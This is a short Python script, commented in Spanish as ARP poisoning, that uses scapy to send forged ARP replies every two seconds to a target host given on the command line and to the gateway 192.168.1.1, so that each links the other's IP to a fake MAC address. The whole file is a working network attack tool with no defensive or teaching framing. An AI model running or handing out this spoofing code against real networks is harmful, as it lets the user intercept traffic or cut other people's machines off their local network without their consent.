#envenenanmiento arp
import scapy.all as scapy
import argparse
import time
def get_arguments():
parser = argparse.ArgumentParser(description="envenenamiento arp")
parser.add_argument("-t", "--target",required=True, dest="ip_addres", help="HOST or RANGE to spoof")
return parser.parse_args()
def spoof(ip_addres, spoof_ip):
arp_packer = scapy.ARP(op=2, psrc=spoof_ip, pdst=ip_addres, hwsrc="aa:bb:cc:44:55:66")
scapy.send(arp_packer, verbose=False)
def main():
while True:
ip_addres = get_arguments()
spoof(ip_addres.ip_addres, "192.168.1.1")
spoof("192.168.1.1", ip_addres.ip_addres)
time.sleep(2)
if __name__ == "__main__":
main()